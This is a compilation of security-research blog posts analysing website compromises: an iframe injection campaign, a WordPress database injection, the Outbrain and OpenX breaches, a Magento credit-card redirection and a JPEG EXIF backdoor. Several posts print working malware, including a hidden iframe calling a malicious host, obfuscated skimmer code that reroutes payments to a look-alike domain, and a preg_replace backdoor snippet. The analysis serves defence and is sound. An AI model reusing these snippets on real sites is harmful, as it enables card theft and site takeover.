Malware iFrame Campaign from Sytes(.)net

For the last few weeks we have been tracking a large malframe (malicious iframe) campaign that has been injecting iframes from random domains from sytes(.)net into compromised sites.

Malicious iframe injection is nothing new, the bad guys have been using no-ip.org domains for a long time. But what is catching our attention is how often these domains are changing and how short a life-span they have.

This is the payload being added to the compromised sites:

<iframe src="httX:// krbnomrhp.sytes.net:12601 /cart/manuallogin/linktous.php?guardian=82" 
    width=1 height=1 style="visibility: hidden"></iframe>

As you can see, it is a normal iframe injection. But that domain will go offline in approximately 30 minutes and get replaced by a new one. Here is a list we compiled over the past 24 hours:

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WordPress Database Table and wp_head Injections

There are multiple places where a malware injection can be hidden on a web site. On WordPress, for example, it can be hidden inside the core files, themes, plugins, .htaccess and on the database. More often than not, the malware uses a combination of those which makes it harder to detect.

Today, we will talk about a database injection that we are seeing often lately, that uses wp_head() to display the malware to anyone visiting a compromised web site.

Database Injection

WordPress offers multiple API calls to manage and read the content from inside the database. One of those calls is the get_option function that returns a value from the wp_options table. The wp_options table is widely used by many plugins and themes to store long term data, and is generally full of entries making it a good place to hide malicious code.

If you don’t believe me and you use WordPress, just list the wp_options table from your site to see what I am talking about.

Here’s what we are finding inside the wp_options table under “page_option” on some compromised sites:

s:7546:"a:18:{i:0;s:10:"11-07-
2013";i:1;s:1:"e";i:2;s:32:"061d57e97e504a23cc932031f712f730";
i:3;s:32:"07b6910226033fa5ee75721b4fc6573f";
i:4;s:4:"val(";i:5;s:32:"2a27230f54e4cea4a8ed38d66e2c0";
i:6;s:1:"(";i:7;s:6993:"'LyogTXVuaW5uIHZlcnNpb246MSBkYXRlOjIxLj
VFsncGFzcyddKT09PSc2OTJlM2Y1MmVlNmYxNmJjNzhmYTZlMWVjNGJkNGE2YSc
VCwgRVhUUl9TS0lQKTsKCglpZighZW1wdHkoJHRob3IpKQoJCUAkdGhvcigkaGF
dGlvbl9leGlzdHMgKCdzdHJpcG9zJykpIHsKCWZ1bmN0aW9uIHN0cmlwb3MgKCR
G9mZnNldD0wKSB7CgkJcmV0dXJuIHN0cnBvcyAoc3RydG...
... very long ..


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The Dangers External Services Present To Your Website

Today the Washington Post reported that they were victims of hack, orchestrated by the Syrian Electronic Army.

This attack is interesting because it sheds light into the anatomy of attacks that appear sophisticated, but is something we’re seeing on a daily basis.

Yesterday, we wrote about Phishing and Joomla. The important point being the emphasis on how Phishing attacks work and for what reasons. In the examples we discussed one of the reasons being financial gain, in today’s example however we can look at how it was used to redirect traffic for a cause. In the story however are two very unique attacks being leveraged, it’s hard to assume how they were used, but it provides for interesting insight into intentions.

External Services

In the article they describe that the attackers were able to attack multiple media outlets at one time. They go on to describe that their attack came specifically from their content sharing network, which happens to be Outbrain. In fact, Outbrain, at the time this was being written was still experiencing down time and had acknowledge a compromise:

Sucuri Outbrain Hacked

If you’re not aware, Outbrain is a very popular content recommendation service leveraged by many media outlets. Has something to do with some awesome magic they apply to understanding who is visiting your site and what the most appropriate content is for that individual. All fancy stuff and above my head, but what I do know is what this, along with so many others, do to the security of your website.

When we look at the security chain what you are always looking for is the weakest link, one of the factors that often contributes to the weakness is the consumption of external services and / or your ability to ensure the integrity of said service. Today, many outlets like Washington Post, Time and CNN found out the hard way why that is.

In this instance, the attackers were able to get access to an Outbrain online console and in doing so where able to inject redirects to various configurations. No one is clear at what level they were able to compromise the console, but it is known that it affect three media outlets at a minimum.

They went on to share an image of their access as proof of their success:

SEA-Outbrain

This, unfortunately, is but one example of the impacts of an external service.

A few weeks back we shared other information on the OpenX ad network being compromised as well. In this scenario, the attackers injected a backdoor into the installation package, allowing them to gain access to any website that uses it. While fundamentally different than what occurred with Outbrain, the impact can be just as catastrophic.

In this scenario, it appears the hacktivists were more concerned with broader awareness and publicity than they were in real nefarious acts. Just imagine the impact some of the brands impacted: CNN, Time, Washington Post could have had on followers around the world if the redirect included some Blackhole variant or other similar type payload designed to have lasting impacts on your computers. These brands are huge conglomerates, even if only for 30 minutes, the shear traffic that would have been affected is mind blowing.

Regardless, the point is not lost. As websites become more secure, attackers will continue to find new creative means of accomplishing their goals, this is but another example of the type of creativity we can come and are expecting and experiencing. We have to remember the motto that many live by..

“Own one, Own them all.”

Joomla Hacks – Part I – Phishing

Joomla is a very popular open source CMS, dominating approximately 10% of the website market. While great for them, horrible for many others, as being popular often paints a big target on your back, at least when it comes to CMS applications.

Lately though, Joomla has had a bad spell, in which a vulnerability was found that was allowing for arbitrary PHP uploads via core. Any site that is not properly updated (or patched), can be an easily compromised. This applies to any website running Joomla 1.0.x, 1.5.x and the 1.6 and 1.7 branches, each one needs to be updated to the supported 2.5 or 3.0. Once that is supported, they need to be updated again to the latest 3.1.5 or 2.5.14 versions.

Unfortunately for Joomla users, the upgrade path is perhaps its weakest link. The reverse compatibility issues are so severe in the various branches that it plays right into the attackers objectives facilitating sever vulnerabilities, allowing them to have wider impacts across the website ecosystem. Because of this, we will share in this post one very specific method attackers are using to perform nefarious acts using the websites you visit or own, a little something known as Phishing.

  • Part I – Phishing injection


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Open Source Backdoor – Copyrighted Under GNU GPL

Malware code can be very small, and the impact can be very severe! In our daily tasks we find a lot of web-based malware that varies in size and impact. Some of the malware is well known and very easy to detect, others not so much, but this one is very interesting.

Open Source GNU

Here’s the backdoor, can you see what it’s doing?

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OpenX.org Compromised and Downloads Injected with a Backdoor

We received reports that OpenX.org was compromised and the OpenX download files had a backdoor injected in them. According to Heise (in German), the malicious files were modified around November/2012, and have been undetected since.

It means that if you have downloaded OpenX during the last 7 months, it likely contains a backdoor that could allow the attackers full access to your site. That’s how serious it is.

*The OpenX team have confirmed the breach and removed the bad files from their servers.


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More Creative Backdoors – Using Filename Typos

When a site gets compromised, one thing we know for sure is that the attackers will leave some piece of malware in there to allow them access back to the site. We call this type of control capability a backdoor.

Backdoors are very hard to find because they don’t have to be linked anywhere in the site, they can be very small, and can be easily confused with “normal” code. Some of them have passwords, some are heavily encrypted/encoded and can be anywhere in your site.

As part of our job remediating (cleaning) websites, we get to see all types of backdoors. One thing we are noticing is how the attackers are getting more creative each day, always trying to find ways to be more “discrete”. They often mix the backdoor files or code with core website files so that they won’t be noticed easily.

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Phishing 2.0 – Credit Card Redirection on Compromised Sites

We have seen it all when it comes to compromised sites: from silly defacements, to malware, spam, phishing and all sorts of injections. However, the bad guys are always looking to maximize their profits when they hack a site. Especially when it is an e-commerce site that processes credit cards online.

Credit Card Redirection

A new trick we are seeing being used on compromised e-commerce sites is credit card redirection. The attackers modify the flow of the payment process so that instead of just processing the card, they redirect all payment details to a domain they own so they can steal the card details.

This is often done very stealthy, with minimal changes to the site. Credit cards are very valuable in the black market, so the attackers try to stay on as long as possible without being detected.

Magento Redirection

Because of the nature of Magento websites, they are a big target. We are seeing sites having the credit card processing file modified to either email the credit card details or redirect them to a new domain. In this specific case, the file “app/code/community/MageBase/DpsPaymentExpress/Model/Method/Pxpay.php” (use for PaymentExpress payment handling) was modified with this code:

$oo = base64_decode(‘cGF5bWVudGV4cHJlc3M=’); $_oo = base64_decode("cGF5bWVudGlleHByZXNz’);$_is = base64_decode("c2Vzc19pZA==’);
$_oi = base64_decode("cHJlZ19yZXBsYWNl’);
$responseURI = $_oi(‘/’.$oo.’/’,$_oo,strval($responseXml->URI));

Which once decoded, replaces every occurrence of paymentexpress for paymentiexpress (see extra i). This forces the payment processing to be tunneled here:

https://sec.paymentiexpress.com/pxpay/pxaccess.aspx (see the i again)

Instead of the real URL:

https://sec.paymentexpress.com/pxpay/pxaccess.aspx

This redirection forces all the transaction data, including credit card details (name, address, CC and CVV), through their malicious server, in turn allowing the data to be stolen by the bad guys.

Paymentiexpress.com Phishing

The domain paymentiexpress.com was just registered a few days ago using whois privacy:

Registration Service Provided By: Namecheap.com
Contact: support@namecheap.com
Visit: http://namecheap.com
Registered through: eNom, Inc.
Creation date: 18 Jul 2013 18:02:00
Expiration date: 18 Jul 2014 18:02:00

And is currently live and not blacklisted by anyone (except us now). It has a proper SSL certificate (by RapidSSL) and everything that makes a trusted worthy phishing page.

What is also interesting is this new evolution of phishing, so that instead of tricking users into clicking into a bad url, it tricks the site itself to redirect the users information there.

Ubuntu Forums Hacked

Ubuntu’s official forum web site (ubuntuforums.org) was hacked, defaced and all user names and
passwords stolen. The forum was very popular with over 1.8 million registered users. The site is now disabled with this warning:

What we know:

-Unfortunately the attackers have gotten every user’s local username, password, and email address from the Ubuntu Forums database.

-The passwords are not stored in plain text. However, if you were using the same password as your Ubuntu Forums one on another service (such as email), you are strongly encouraged to change the password on the other service ASAP.

The site was running vBulletin and according to some sources, it was outdated and didn’t have the admin panel protected. During the time it was defaced, it was redirecting to “ubuntuforums.org/signaturepics/Sput.html”, which had this image:

Ubuntu forums hacked

Size of the attack and consequences

The Ubuntu forum was very large with over 1,800,000 registered members. Even though the passwords were not stored in plain text, they should be considered compromised and known by the attackers. And since the site used vBulletin, it is likely that they were just hashed with md5, which makes the job a lot easier to the attackers.

If you have an account there and you use the same password some where else, please
change the password asap.

Malware Hidden Inside JPG EXIF Headers

A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.

Technical Details

The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


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